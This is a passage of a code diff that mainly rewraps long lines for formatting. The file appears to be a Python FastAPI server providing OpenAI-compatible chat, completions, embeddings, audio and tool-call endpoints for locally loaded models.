model loaded.") model_info = backend.models.get(backend.active_model_name, {}) if not model_info.get("is_audio"): - raise HTTPException(status_code = 400, detail = "Active model is not an audio model.") + raise HTTPException( + status_code = 400, detail = "Active model is not an audio model." + ) model_name = public_model_id(backend.active_model_name) gen = lambda: backend.generate_audio_response( text = text, @@ -6162,7 +6367,9 @@ def _sniff_audio_container(raw: bytes) -> Optional[str]: return "wav" # mp3: ID3 tag, or an MPEG audio frame sync (no other accepted format leads # with 0xFF, so the simple sync check doesn't collide). - if raw[:3] == b"ID3" or (len(raw) >= 2 and raw[0] == 0xFF and (raw[1] & 0xE0) == 0xE0): + if raw[:3] == b"ID3" or ( + len(raw) >= 2 and raw[0] == 0xFF and (raw[1] & 0xE0) == 0xE0 + ): return "mp3" return None @@ -6176,7 +6383,9 @@ def _mono_f32_to_wav_bytes(arr: np.ndarray, sample_rate: int) -> bytes: import io import wave - arr = np.nan_to_num(np.asarray(arr, dtype = np.float32).flatten(), posinf = 0.0, neginf = 0.0) + arr = np.nan_to_num( + np.asarray(arr, dtype = np.float32).flatten(), posinf = 0.0, neginf = 0.0 + ) if arr.size == 0: raise ValueError("decoded audio is empty") peak = float(np.abs(arr).max()) @@ -6193,7 +6402,9 @@ def _mono_f32_to_wav_bytes(arr: np.ndarray, sample_rate: int) -> bytes: return buf.getvalue() -def _resample_mono_linear(arr: np.ndarray, source_rate: int, target_rate: int) -> np.ndarray: +def _resample_mono_linear( + arr: np.ndarray, source_rate: int, target_rate: int +) -> np.ndarray: """Small numpy-only resampler for upload size limiting.""" if source_rate <= 0 or target_rate <= 0 or source_rate == target_rate: return arr @@ -6206,7 +6417,9 @@ def _resample_mono_linear(arr: np.ndarray, source_rate: int, target_rate: int) - return np.interp(target_x, source_x, arr).astype(np.float32) -def _fit_transcoded_audio_to_wav_cap(arr: np.ndarray, sample_rate: int) -> tuple[np.ndarray, int]: +def _fit_transcoded_audio_to_wav_cap( + arr: np.ndarray, sample_rate: int +) -> tuple[np.ndarray, int]: """Downsample only when needed so transcoded WAV stays within the upload cap.""" if sample_rate <= 0: raise ValueError("decoded audio has an invalid sample rate") @@ -6266,7 +6479,9 @@ def _decode_audio_mono(raw: bytes) -> tuple[np.ndarray, int]: if arr.ndim > 1: arr = arr.mean(axis = 1) if sr > 0 and len(arr) > sr * _MAX_AUDIO_SECONDS: - raise ValueError(f"decoded audio exceeds the {_MAX_AUDIO_SECONDS // 60}-minute limit") + raise ValueError( + f"decoded audio exceeds the {_MAX_AUDIO_SECONDS // 60}-minute limit" + ) return arr, sr @@ -6333,7 +6548,9 @@ def _extract_content_parts(messages: list) -> tuple[str, list[dict], "Optional[s system_parts.append(msg.content) elif isinstance(msg.content, list): # Unlikely but handle: join text parts - system_parts.append("\n".join(p.text for p in msg.content if p.type == "text")) + system_parts.append( + "\n".join(p.text for p in msg.content if p.type == "text") + ) continue # ── User / assistant messages ───────────────────────── @@ -6352,7 +6569,9 @@ def _extract_content_parts(messages: list) -> tuple[str, list[dict], "Optional[s # data:image/png;base64, -> extract first_image_b64 = url.split(",", 1)[1] if "," in url else None else: - logger.warning(f"Remote image URLs not yet supported: {url[:80]}...") + logger.warning( + f"Remote image URLs not yet supported: {url[:80]}..." + ) combined_text = "\n".join(text_parts) if text_parts else "" chat_messages.append({"role": msg.role, "content": combined_text}) @@ -6534,7 +6753,11 @@ def _build_external_messages( # (some providers reject empty assistant turns). Preserve assistant # turns whose only payload is tool_calls so multi-turn # function-call loops round-trip. - if msg.role == "assistant" and not msg.content.strip() and not msg.tool_calls: + if ( + msg.role == "assistant" + and not msg.content.strip() + and not msg.tool_calls + ): continue out: dict[str, Any] = {"role": msg.role, "content": msg.content} if msg.role == "assistant" and msg.tool_calls: @@ -6671,7 +6894,9 @@ def _build_external_messages( _entry_content = entry.get("content") _has_text = ( isinstance(_entry_content, str) and _entry_content.strip() - ) or (isinstance(_entry_content, list) and len(_entry_content) > 0) + ) or ( + isinstance(_entry_content, list) and len(_entry_content) > 0 + ) if not _has_text: continue if msg.role == "tool": @@ -6837,7 +7062,9 @@ async def _proxy_to_external_provider( # by the chat client as success, saving a partial answer with no error. yield ( "data: " - + json.dumps({"error": {"message": _friendly_error(exc), "type": "server_error"}}) + + json.dumps( + {"error": {"message": _friendly_error(exc), "type": "server_error"}} + ) + "\n\n" ) yield "data: [DONE]\n\n" @@ -6861,7 +7088,9 @@ async def _proxy_to_external_provider( # ── OpenAI shell-tool container management ─────────────────────── -def _resolve_openai_cloud_client(body: OpenAIContainerRequest) -> ExternalProviderClient: +def _resolve_openai_cloud_client( + body: OpenAIContainerRequest, +) -> ExternalProviderClient: """ Decrypt the API key + validate the base URL points at OpenAI cloud, then build an ExternalProviderClient for the three container CRUD endpoints @@ -6904,7 +7133,9 @@ def _summarize_container(raw: dict) -> OpenAIContainerSummary: return OpenAIContainerSummary( id = str(raw.get("id") or ""), name = raw.get("name"), - created_at = raw.get("created_at") if isinstance(raw.get("created_at"), int) else None, + created_at = raw.get("created_at") + if isinstance(raw.get("created_at"), int) + else None, last_active_at = raw.get("last_active_at") if isinstance(raw.get("last_active_at"), int) else None, @@ -7171,7 +7402,9 @@ async def openai_chat_completions( _use_tools_intent = _effective_enable_tools(payload) or ( bool(payload.mcp_enabled) and _cli_policy_pre is not False ) - if payload.tool_choice == "none" and not _explicit_studio_tool_loop_requested(payload): + if payload.tool_choice == "none" and not _explicit_studio_tool_loop_requested( + payload + ): _use_tools_intent = False _client_tool_passthrough = ( bool(payload.tools) @@ -7188,7 +7421,8 @@ async def openai_chat_completions( # intentionally leaves confirm_tool_calls unset there, so only an explicit # confirm_tool_calls=True should force the local-confirm rejection for it. _studio_local_tool_loop = bool(_use_tools_intent) and ( - _explicit_studio_tool_loop_requested(payload) or not _client_tool_passthrough + _explicit_studio_tool_loop_requested(payload) + or not _client_tool_passthrough ) if ( not payload.bypass_permissions @@ -7229,7 +7463,9 @@ async def openai_chat_completions( # load a GGUF only to 413 afterward (the decode itself stays post-switch to # avoid decoding a valid upload twice). if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS: - raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).") + raise HTTPException( + status_code = 413, detail = "Audio file is too large (max ~25 MB)." + ) # Reject streaming n>1 before the switch: only the non-streaming GGUF path # returns multiple choices, so stream=true + n>1 is invalid on every local # serving path (the external path already rejected it before its early @@ -7241,7 +7477,9 @@ async def openai_chat_completions( # Audio input rides the same companion-mmproj projector as vision, so a # text-only target can't serve it either; guard both before the switch. _needs_vision = ( - bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64) + bool(_pre_parsed[2]) + or _request_has_image(payload) + or bool(payload.audio_base64) ) await _maybe_auto_switch_model( @@ -7273,7 +7511,9 @@ async def openai_chat_completions( # OpenAI compat), so payload.model is only a fallback label here. monitor_id = None - async def _monitored_generate_audio(model_label: str, context_length: Optional[int] = None): + async def _monitored_generate_audio( + model_label: str, context_length: Optional[int] = None + ): tts_monitor_id = None if not getattr(request.state, "skip_api_monitor", False): tts_monitor_id = api_monitor.start( @@ -7321,7 +7561,9 @@ async def openai_chat_completions( if not backend.active_model_name: raise HTTPException( status_code = 400, - detail = _no_model_loaded_detail("No model loaded. Call POST /inference/load first."), + detail = _no_model_loaded_detail( + "No model loaded. Call POST /inference/load first." + ), ) # Clean public id so the response never echoes a local path; the audio # branch below receives this sanitized label too. @@ -7356,7 +7598,9 @@ async def openai_chat_completions( if payload.audio_base64 and model_info.get("has_audio_input"): try: audio_array = _decode_audio_base64(payload.audio_base64) - system_prompt, chat_messages, _ = _extract_content_parts(payload.messages) + system_prompt, chat_messages, _ = _extract_content_parts( + payload.messages + ) except Exception as e: api_monitor.fail(monitor_id, _friendly_error(e)) raise @@ -7422,15 +7666,21 @@ async def openai_chat_completions( completion_id, created, model_name, chunk_text ) - api_monitor.finish(monitor_id, "cancelled" if cancelled else "completed") - yield _chat_final_chunk(completion_id, created, model_name, "stop") + api_monitor.finish( + monitor_id, "cancelled" if cancelled else "completed" + ) + yield _chat_final_chunk( + completion_id, created, model_name, "stop" + ) yield "data: [DONE]\n\n" except asyncio.CancelledError: cancel_event.set() api_monitor.finish(monitor_id, "cancelled") raise except Exception as e: - logger.error(f"Error during audio input streaming: {e}", exc_info = True) + logger.error( + f"Error during audio input streaming: {e}", exc_info = True + ) _msg = _friendly_error(e) api_monitor.fail(monitor_id, _msg) yield _openai_stream_error_sse( @@ -7492,7 +7742,9 @@ async def openai_chat_completions( # Finalize the monitor entry on validation rejection before raising. def _reject(status_code: int, detail: Any) -> "HTTPException": if monitor_id is not None: - fail_detail = detail if isinstance(detail, str) else json.dumps(detail, default = str) + fail_detail = ( + detail if isinstance(detail, str) else json.dumps(detail, default = str) + ) api_monitor.fail(monitor_id, fail_detail) return HTTPException(status_code = status_code, detail = detail) @@ -7538,7 +7790,9 @@ async def openai_chat_completions( _studio_tool_loop_requested = ( _explicit_studio_tool_loop_requested(payload) and llama_backend.supports_tools ) - _client_disabled_tool_calls = payload.tool_choice == "none" and not _studio_tool_loop_requested + _client_disabled_tool_calls = ( + payload.tool_choice == "none" and not _studio_tool_loop_requested + ) _supports_tool_passthrough = getattr( llama_backend, "supports_tool_passthrough", llama_backend.supports_tools ) @@ -7629,7 +7883,9 @@ async def openai_chat_completions( if _pre_parsed is not None: system_prompt, chat_messages, extracted_image_b64 = _pre_parsed else: - system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) + system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts( + payload.messages + ) if not chat_messages: raise _reject(400, "At least one non-system message is required.") @@ -7707,7 +7963,9 @@ async def openai_chat_completions( from state.tool_policy import get_tool_policy as _get_tool_policy_g _cli_policy = _get_tool_policy_g() - _tools_on = False if _client_disabled_tool_calls else _effective_enable_tools(payload) + _tools_on = ( + False if _client_disabled_tool_calls else _effective_enable_tools(payload) + ) _mcp_allowed = ( not _client_disabled_tool_calls and bool(payload.mcp_enabled) @@ -7771,17 +8029,23 @@ async def openai_chat_completions( system_prompt = system_prompt.rstrip() + "\n\n" + _nudge else: system_prompt = _nudge - gguf_messages = _set_or_prepend_system_message(gguf_messages, system_prompt) + gguf_messages = _set_or_prepend_system_message( + gguf_messages, system_prompt + ) _gguf_auto_heal_tool_calls = ( - payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True + payload.auto_heal_tool_calls + if payload.auto_heal_tool_calls is not None + else True ) # Active tool names gating the bare-rehearsal strip, matching the loop gate. _gguf_display_tool_names = _display_tool_name_gate(tools_to_use) # ── Strip stale tool-call XML from conversation history ─ for _msg in gguf_messages: - if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str): + if _msg.get("role") == "assistant" and isinstance( + _msg.get("content"), str + ): # Gate on enabled tool names, like the live strip, so a documented inactive # ``foo[ARGS]{...}`` survives in the replayed prompt context. _msg["content"] = _strip_tool_xml_for_display( @@ -7821,12 +8085,15 @@ async def openai_chat_completions( disable_parallel_tool_use = payload.parallel_tool_calls is False, # Bypass Permissions takes precedence over the confirm gate: # never prompt while bypassing. - confirm_tool_calls = _effective_confirm and not bool(payload.bypass_permissions), + confirm_tool_calls = _effective_confirm + and not bool(payload.bypass_permissions), bypass_permissions = bool(payload.bypass_permissions), permission_mode = payload.permission_mode, ) - _tool_admission_mode = "chat_tool_stream" if payload.stream else "chat_tool_nonstream" + _tool_admission_mode = ( + "chat_tool_stream" if payload.stream else "chat_tool_nonstream" + ) try: reservation, admission_config = _openai_llama_admission_reserve( request = request, @@ -7880,7 +8147,11 @@ async def openai_chat_completions( ) if final_visible: api_monitor.append_reply(monitor_id, final_visible) - chunks.append(_gguf_chat_delta_line(ChoiceDelta(content = final_visible))) + chunks.append( + _gguf_chat_delta_line( + ChoiceDelta(content = final_visible) + ) + ) return chunks while True: @@ -7978,14 +8249,18 @@ async def openai_chat_completions( prev_text = clean_cumulative if not new_text: continue - reasoning_delta, visible_delta = reasoning_extractor.feed(new_text) + reasoning_delta, visible_delta = reasoning_extractor.feed( + new_text + ) if reasoning_delta: yield _gguf_chat_delta_line( ChoiceDelta(reasoning_content = reasoning_delta) ) if visible_delta: api_monitor.append_reply(monitor_id, visible_delta) - yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta)) + yield _gguf_chat_delta_line( + ChoiceDelta(content = visible_delta) + ) for chunk in _flush_reasoning_extractor(): yield chunk @@ -8017,7 +8292,8 @@ async def openai_chat_completions( yield usage_line _monitor_usage(monitor_id, _stream_usage, _monitor_context_length()) api_monitor.finish( - monitor_id, "cancelled" if cancel_event.is_set() else "completed" + monitor_id, + "cancelled" if cancel_event.is_set() else "completed", ) stream_completed = True yield "data: [DONE]\n\n" @@ -8027,7 +8303,9 @@ async def openai_chat_completions( api_monitor.finish(monitor_id, "cancelled") raise except Exception as e: - logger.error(f"Error during GGUF tool streaming: {e}", exc_info = True) + logger.error( + f"Error during GGUF tool streaming: {e}", exc_info = True + ) api_monitor.fail(monitor_id, _friendly_error(e)) # Recover if an MTP+tensor crash killed the server mid-stream. get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e) @@ -8281,8 +8559,12 @@ async def openai_chat_completions( request = request, cancel_event = cancel_event, ) - drain_task = asyncio.create_task(asyncio.to_thread(_drain_gguf_tool_loop)) - full_text, completion_usage, completion_finish = await asyncio.shield(drain_task) + drain_task = asyncio.create_task( + asyncio.to_thread(_drain_gguf_tool_loop) + ) + full_text, completion_usage, completion_finish = await asyncio.shield( + drain_task + ) reasoning_text, visible_text = _extract_responses_reasoning( full_text, parse_think_markers = _responses_should_parse_think_markers( @@ -8503,25 +8785,35 @@ async def openai_chat_completions( else: logger.warning( "gguf_stream_chunks: unexpected dict event: %s", - {k: v for k, v in cumulative.items() if k != "timings"}, + { + k: v + for k, v in cumulative.items() + if k != "timings" + }, ) continue new_text = cumulative[len(prev_text) :] prev_text = cumulative if not new_text: continue - reasoning_delta, visible_delta = reasoning_extractor.feed(new_text) + reasoning_delta, visible_delta = reasoning_extractor.feed( + new_text + ) if reasoning_delta: yield _gguf_chat_delta_line( ChoiceDelta(reasoning_content = reasoning_delta) ) if visible_delta: api_monitor.append_reply(monitor_id, visible_delta) - yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta)) + yield _gguf_chat_delta_line( + ChoiceDelta(content = visible_delta) + ) final_reasoning, final_visible = reasoning_extractor.finish() if final_reasoning: - yield _gguf_chat_delta_line(ChoiceDelta(reasoning_content = final_reasoning)) + yield _gguf_chat_delta_line( + ChoiceDelta(reasoning_content = final_reasoning) + ) if final_visible: api_monitor.append_reply(monitor_id, final_visible) yield _gguf_chat_delta_line(ChoiceDelta(content = final_visible)) @@ -8554,7 +8846,8 @@ async def openai_chat_completions( yield usage_line _monitor_usage(monitor_id, _stream_usage, _monitor_context_length()) api_monitor.finish( - monitor_id, "cancelled" if cancel_event.is_set() else "completed" + monitor_id, + "cancelled" if cancel_event.is_set() else "completed", ) stream_completed = True yield "data: [DONE]\n\n" @@ -8886,10 +9179,16 @@ async def openai_chat_completions( # The prompt is shared across all n choices, so count its # tokens ONCE (OpenAI bills only generated tokens for each # extra choice). Only completion_tokens accumulates. - _prompt_tokens = completion_usage.get("prompt_tokens") or _prompt_tokens - _sum_completion += completion_usage.get("completion_tokens") or 0 + _prompt_tokens = ( + completion_usage.get("prompt_tokens") or _prompt_tokens + ) + _sum_completion += ( + completion_usage.get("completion_tokens") or 0 + ) if _prompt_details is None: - _prompt_details = completion_usage.get("prompt_tokens_details") + _prompt_details = completion_usage.get( + "prompt_tokens_details" + ) return ( _n, _choices, @@ -8924,7 +9223,8 @@ async def openai_chat_completions( monitor_reply = _monitor_replies[-1] if _monitor_replies else "" if _n > 1: monitor_reply = "\n\n".join( - f"Choice {_idx + 1}:\n{text}" for _idx, text in enumerate(_monitor_replies) + f"Choice {_idx + 1}:\n{text}" + for _idx, text in enumerate(_monitor_replies) ) api_monitor.set_reply(monitor_id, monitor_reply) _monitor_usage( @@ -9008,7 +9308,8 @@ async def openai_chat_completions( # branch. Use a truthy placeholder for Unsloth-managed tools, whose concrete # schemas are selected below, and the request schemas for client passthrough. _sf_server_tool_intent = bool( - _effective_enable_tools(payload) or _explicit_studio_tool_loop_requested(payload) + _effective_enable_tools(payload) + or _explicit_studio_tool_loop_requested(payload) ) _sf_template_tools = payload.tools if payload.tool_choice != "none" else None if not _sf_template_tools and _sf_server_tool_intent: @@ -9050,12 +9351,16 @@ async def openai_chat_completions( # the GGUF path). _sf_is_gptoss = False try: - _sf_is_gptoss = bool(hasattr(backend, "_is_gpt_oss_model") and backend._is_gpt_oss_model()) + _sf_is_gptoss = bool( + hasattr(backend, "_is_gpt_oss_model") and backend._is_gpt_oss_model() + ) except Exception: _sf_is_gptoss = False _sf_tool_budget = ( - payload.max_tool_calls_per_message if payload.max_tool_calls_per_message is not None else 25 + payload.max_tool_calls_per_message + if payload.max_tool_calls_per_message is not None + else 25 ) # Match the GGUF path: mcp_enabled also opens the tool loop on its own @@ -9113,7 +9418,9 @@ async def openai_chat_completions( ) # RAG nudge, mirroring the GGUF path. - _sf_nudge = _apply_rag_nudge(_sf_nudge, _sf_tools_to_use, rag_scope = payload.rag_scope) + _sf_nudge = _apply_rag_nudge( + _sf_nudge, _sf_tools_to_use, rag_scope = payload.rag_scope + ) _sf_system_prompt = system_prompt if _sf_nudge: @@ -9123,7 +9430,9 @@ async def openai_chat_completions( _sf_system_prompt = _sf_nudge _sf_auto_heal_tool_calls = ( - payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True + payload.auto_heal_tool_calls + if payload.auto_heal_tool_calls is not None + else True ) # Active tool names gating the bare-rehearsal strip, matching the loop gate. _sf_display_tool_names = _display_tool_name_gate(_sf_tools_to_use) @@ -9175,7 +9484,8 @@ async def openai_chat_completions( rag_scope = payload.rag_scope, # Bypass Permissions takes precedence over the confirm gate: # never prompt while bypassing. - confirm_tool_calls = _sf_effective_confirm and not bool(payload.bypass_permissions), + confirm_tool_calls = _sf_effective_confirm + and not bool(payload.bypass_permissions), bypass_permissions = bool(payload.bypass_permissions), permission_mode = payload.permission_mode, use_adapter = payload.use_adapter, @@ -9206,10 +9516,16 @@ async def openai_chat_completions( fr, fv = reasoning_extractor.finish() out = [] if fr: - out.append(_chat_reasoning_chunk(completion_id, created, model_name, fr)) + out.append( + _chat_reasoning_chunk( + completion_id, created, model_name, fr + ) + ) if fv: api_monitor.append_reply(monitor_id, fv) - out.append(_chat_content_chunk(completion_id, created, model_name, fv)) + out.append( + _chat_content_chunk(completion_id, created, model_name, fv) + ) return out while True: @@ -9308,7 +9624,9 @@ async def openai_chat_completions( ) if visible_delta: api_monitor.append_reply(monitor_id, visible_delta) - yield _chat_content_chunk(completion_id, created, model_name, visible_delta) + yield _chat_content_chunk( + completion_id, created, model_name, visible_delta + ) for _c in _sf_flush_reasoning(): yield _c @@ -9343,7 +9661,9 @@ async def openai_chat_completions( backend.reset_generation_state() _msg = _friendly_gen_stream_error(exc) api_monitor.fail(monitor_id, _msg) - yield _openai_stream_error_sse({"error": {"message": _msg, "type": "server_error"}}) + yield _openai_stream_error_sse( + {"error": {"message": _msg, "type": "server_error"}} + ) except Exception: backend.reset_generation_state() # Generic wire message; full trace stays in the log (CWE-209: @@ -9421,7 +9741,9 @@ async def openai_chat_completions( _stats = _sf_stats_holder.get("stats") if _stats: _monitor_usage(monitor_id, _stats.get("usage")) - api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed") + api_monitor.finish( + monitor_id, "cancelled" if cancel_event.is_set() else "completed" + ) _sf_msg_kwargs = {"content": _visible_text} if _reasoning_text: _sf_msg_kwargs["reasoning_content"] = _reasoning_text @@ -9511,7 +9833,9 @@ async def openai_chat_completions( # message (templates reject "developer") and clear prompt to avoid a dup. gen_kwargs["messages"] = _set_or_prepend_system_message( _structured_tool_history_for_local_template( - _flatten_content_parts_for_local_template(_openai_messages_for_passthrough(payload)) + _flatten_content_parts_for_local_template( + _openai_messages_for_passthrough(payload) + ) ), system_prompt, ) @@ -9541,7 +9865,9 @@ async def openai_chat_completions( # known. This standard path now has the exact schemas that will be rendered, # so resolve reasoning parsing again to keep empty registries, forced-tool # misses, and tool_choice="none" on the marker-free template branch. - _, _sf_parse_think, _sf_reasoning_prefilled = _sf_response_protocol(gen_kwargs.get("tools")) + _, _sf_parse_think, _sf_reasoning_prefilled = _sf_response_protocol( + gen_kwargs.get("tools") + ) # Request-scoped usage/timings receptacle (filled at gen_done). stats_holder: dict = {} @@ -9591,7 +9917,9 @@ async def openai_chat_completions( # Client-tool passthrough: heal text-form calls on the fly # (None => relay verbatim). - healer = StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None + healer = ( + StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None + ) heal_state = {"idx": 0} prev_text = "" @@ -9609,7 +9937,9 @@ async def openai_chat_completions( # Stall keepalive (see safetensors tool stream) each window while # next(gen) runs in a worker. next(gen, _DONE) returns _DONE rather # than raising StopIteration (which can't cross asyncio futures). - _next_task = asyncio.create_task(asyncio.to_thread(next, gen, _DONE)) + _next_task = asyncio.create_task( + asyncio.to_thread(next, gen, _DONE) + ) while True: _done_tasks, _ = await asyncio.wait( {_next_task}, @@ -9670,11 +10000,15 @@ async def openai_chat_completions( final_reasoning, final_visible = reasoning_extractor.finish() if final_reasoning: - yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning) + yield _chat_reasoning_chunk( + completion_id, created, model_name, final_reasoning + ) if final_visible: if healer is None: api_monitor.append_reply(monitor_id, final_visible) - yield _chat_content_chunk(completion_id, created, model_name, final_visible) + yield _chat_content_chunk( + completion_id, created, model_name, final_visible + ) else: for line in _sf_heal_events_to_sse( healer.feed(final_visible), @@ -9743,7 +10077,9 @@ async def openai_chat_completions( backend.reset_generation_state() _msg = _friendly_gen_stream_error(exc) api_monitor.fail(monitor_id, _msg) - yield _openai_stream_error_sse({"error": {"message": _msg, "type": "server_error"}}) + yield _openai_stream_error_sse( + {"error": {"message": _msg, "type": "server_error"}} + ) except Exception as e: backend.reset_generation_state() logger.error(f"Error during OpenAI streaming: {e}", exc_info = True) @@ -9813,7 +10149,9 @@ async def openai_chat_completions( _finish = "tool_calls" elif nudge_enabled(payload.nudge_tool_calls): _data = { - "choices": [{"message": {"role": "assistant", "content": _visible_text}}] + "choices": [ + {"message": {"role": "assistant", "content": _visible_text}} + ] } if nudge_should_retry(_data, _sf_heal, payload.tools): # A failed retry must not 500 the request; keep the first @@ -9824,15 +10162,20 @@ async def openai_chat_completions( try: retry_text = "" for token in generate( - [*gen_kwargs["messages"], *nudge_messages(_data, _sf_heal)] + [ + *gen_kwargs["messages"], + *nudge_messages(_data, _sf_heal), + ] ): retry_text = token # Re-split reasoning on the retry so its visible text is # what heals into a call (and reaches the monitor). - _retry_reasoning, _retry_visible = _extract_responses_reasoning( - retry_text, - parse_think_markers = _sf_parse_think, - reasoning_prefilled = _sf_reasoning_prefilled, + _retry_reasoning, _retry_visible = ( + _extract_responses_reasoning( + retry_text, + parse_think_markers = _sf_parse_think, + reasoning_prefilled = _sf_reasoning_prefilled, + ) ) retry_msg = {"role": "assistant", "content": _retry_visible} if _retry_reasoning: @@ -9848,7 +10191,8 @@ async def openai_chat_completions( stats_holder["stats"] = _first_stats except Exception as retry_exc: logger.debug( - "Nudge retry failed; keeping first response: %s", retry_exc + "Nudge retry failed; keeping first response: %s", + retry_exc, ) stats_holder["stats"] = _first_stats # parallel_tool_calls=false: cap to one call (GGUF parity). @@ -10014,10 +10358,14 @@ def _openai_model_objects() -> list[dict]: _ctx = _positive_int_or_none(getattr(llama_backend, "context_length", None)) if _ctx is not None: entry["context_length"] = _ctx - _max_ctx = _positive_int_or_none(getattr(llama_backend, "max_context_length", None)) + _max_ctx = _positive_int_or_none( + getattr(llama_backend, "max_context_length", None) + ) if _max_ctx is not None: entry["max_context_length"] = _max_ctx - _native_ctx = _positive_int_or_none(getattr(llama_backend, "native_context_length", None)) + _native_ctx = _positive_int_or_none( + getattr(llama_backend, "native_context_length", None) + ) if _native_ctx is not None: entry["native_context_length"] = _native_ctx models.append(entry) @@ -10120,9 +10468,13 @@ async def _openai_catalog_objects() -> list[dict]: from core.inference.local_model_resolver import info_has_local_gguf catalog = await _cached_local_catalog() - servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)]) + servable = await asyncio.to_thread( + lambda: [i for i in catalog if info_has_local_gguf(i)] + ) for info in servable: - cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None)) + cid = getattr(info, "model_id", None) or public_model_id( + getattr(info, "id", None) + ) if not cid or cid in by_id: continue obj = { @@ -10153,7 +10505,9 @@ async def openai_list_models(current_subject: str = Depends(get_current_subject) @router.get("/models/{model_id:path}") -async def openai_retrieve_model(model_id: str, current_subject: str = Depends(get_current_subject)): +async def openai_retrieve_model( + model_id: str, current_subject: str = Depends(get_current_subject) +): """ OpenAI-compatible single-model retrieval endpoint (``GET /v1/models/{id}``). @@ -10237,7 +10591,9 @@ def _completions_prompt_present(body: dict) -> bool: @router.post("/completions") -async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)): +async def openai_completions( + request: Request, current_subject: str = Depends(get_current_subject) +): """ OpenAI-compatible text completions endpoint (non-chat). @@ -10256,29 +10612,41 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge _pre = None if isinstance(_pre, dict): _pre_prompt = _pre.get("prompt") - if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)): + if _pre_prompt is not None and not isinstance( + _pre_prompt, (str, list, tuple) + ): # An object/number prompt is a deterministic client error (only a # string or array is valid); reject it before the switch so a bad # shape can't load a GGUF only to be rejected by llama-server after. - raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.") + raise HTTPException( + status_code = 400, detail = "'prompt' must be a string or array." + ) if not _completions_prompt_present(_pre): - raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.") + raise HTTPException( + status_code = 400, detail = "'prompt' is required for completions." + ) # Opt-in: load the requested local GGUF before the loaded-state check. body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, - detail = _no_model_loaded_detail("No GGUF model loaded. Load a GGUF model first."), + detail = _no_model_loaded_detail( + "No GGUF model loaded. Load a GGUF model first." + ), ) if not isinstance(body, dict): # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); # a valid non-dict body such as a list is a clean 400 rather than a 500. body = await request.json() if not isinstance(body, dict): - raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") + raise HTTPException( + status_code = 400, detail = "Request body must be a JSON object" + ) - _resolved_max_tokens = _effective_openai_max_tokens_from_values(body.get("max_tokens")) + _resolved_max_tokens = _effective_openai_max_tokens_from_values( + body.get("max_tokens") + ) body["max_tokens"] = ( _resolved_max_tokens if _resolved_max_tokens is not None @@ -10290,7 +10658,9 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), + model = str( + body.get("model") or _llama_public_model_id(llama_backend) or "default" + ), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -10309,7 +10679,9 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # separator) so _cmpl_stream_event_out can rewrite the cmpl- id and # honor stream_options.include_usage per event, while keeping SSE # framing and token bytes intact. - _include_usage = bool((body.get("stream_options") or {}).get("include_usage")) + _include_usage = bool( + (body.get("stream_options") or {}).get("include_usage") + ) client = httpx.AsyncClient( timeout = _llama_streaming_generation_timeout(), trust_env = False, @@ -10323,7 +10695,9 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge "POST", target_url, json = body, headers = {"Connection": "close"} ) first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S - resp = await _send_stream_with_preheader_cancel(client, req, request = request) + resp = await _send_stream_with_preheader_cancel( + client, req, request = request + ) if resp is None: api_monitor.finish(monitor_id, "cancelled") return @@ -10331,7 +10705,9 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge err_bytes = await resp.aread() err_text = err_bytes.decode("utf-8", errors = "replace") api_monitor.fail(monitor_id, err_text[:500]) - raise RuntimeError(f"llama-server returned {resp.status_code}: {err_text}") + raise RuntimeError( + f"llama-server returned {resp.status_code}: {err_text}" + ) disconnect_watcher = asyncio.create_task( _await_disconnect_then_close(request, resp, disconnect_event) ) @@ -10448,7 +10824,9 @@ def _embeddings_input_present(body: dict) -> bool: @router.post("/embeddings") -async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)): +async def openai_embeddings( + request: Request, current_subject: str = Depends(get_current_subject) +): """ OpenAI-compatible embeddings endpoint. @@ -10469,13 +10847,19 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get _pre = None if isinstance(_pre, dict): _pre_input = _pre.get("input") - if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)): + if _pre_input is not None and not isinstance( + _pre_input, (str, list, tuple) + ): # An object/number input is a deterministic client error (only a # string or array is valid); reject it before the switch so a bad # shape can't load a GGUF only to be rejected by llama-server after. - raise HTTPException(status_code = 400, detail = "'input' must be a string or array.") + raise HTTPException( + status_code = 400, detail = "'input' must be a string or array." + ) if not _embeddings_input_present(_pre): - raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.") + raise HTTPException( + status_code = 400, detail = "'input' is required for embeddings." + ) # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has # no reliable pre-load probe -- is_embedding_model keys on a 